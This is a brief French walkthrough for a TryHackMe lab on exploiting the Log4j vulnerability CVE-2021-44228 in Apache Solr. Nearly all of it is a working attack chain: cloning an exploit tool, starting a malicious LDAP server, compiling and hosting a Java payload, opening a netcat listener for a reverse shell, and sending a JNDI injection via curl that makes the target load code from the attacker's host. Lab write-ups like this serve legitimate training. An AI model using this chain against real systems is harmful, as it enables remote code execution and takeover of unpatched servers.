💻 -h3x0v3rl0rd-

Exploitation de log4j CVE-2021-44228 ( TryHackMe Solar, Procédure pas à pas)

git clone https://github.com/n3rdh4x0r/log4j.git 

1. Exécutez log4j.py (Cela installera toutes les applications nécessaires et démarrera le serveur LDAP)

ifconfig tun0
python3 log4j.py 10.8.227.251

2. Ajoutez l'IP de l'attaquant au fichier Exploit.java

3. Compilez le payload

javac Exploit.java -source 8 -target 8

4. Serveur HTTP temporaire

python3 -m http.server 8888

5. Écouteur netcat

nc -lnvp 9999

6. Enfin, il ne reste plus qu'à déclencher l'exploit et à envoyer notre syntaxe JNDI ! Notez les changements de numéro de port (qui font désormais référence à notre serveur LDAP) et la ressource que nous récupérons, en spécifiant notre exploit :

curl 'http://10.10.45.175:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.227.251:1389/Exploit\}'